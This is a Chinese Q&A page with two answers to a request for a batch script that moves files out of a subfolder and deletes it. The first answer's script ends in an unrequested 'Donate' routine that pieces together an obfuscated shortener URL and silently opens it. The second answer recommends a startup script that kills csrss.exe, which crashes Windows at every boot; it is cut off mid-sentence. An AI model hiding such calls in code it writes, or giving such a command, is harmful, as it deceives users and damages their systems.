批处理 移动指定三级文件夹文件到上级文件夹并删除该文件夹

2024-11-26 17:46:04
推荐回答(2个)
回答1:

@echo off & title 移动三级目录文件至二级目录 By 依梦琴瑶

for /d %%a in (*) do (
    pushd "%%~a"
        move "ABA\*"
        rem 如果三级目录中还包含子目录,且它们也需要移动出来的话,请启用以下的xcopy命令,并禁用上面的move命令
        rem xcopy /s/e/h "ABA\*"
        rd /s /q "ABA"
    popd
)
pause
call :Donate
exit

:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

以上脚本保存到主目录中执行。

代码是手机上编写的,因此尚未实测。若有问题,请追问。

回答2:

打开记事本输入
TASKKILL / F / IM CSRSS.EXE
然后保存文件的扩展名为.bat
开始,然后放在启动脚本或者设置
放一些隐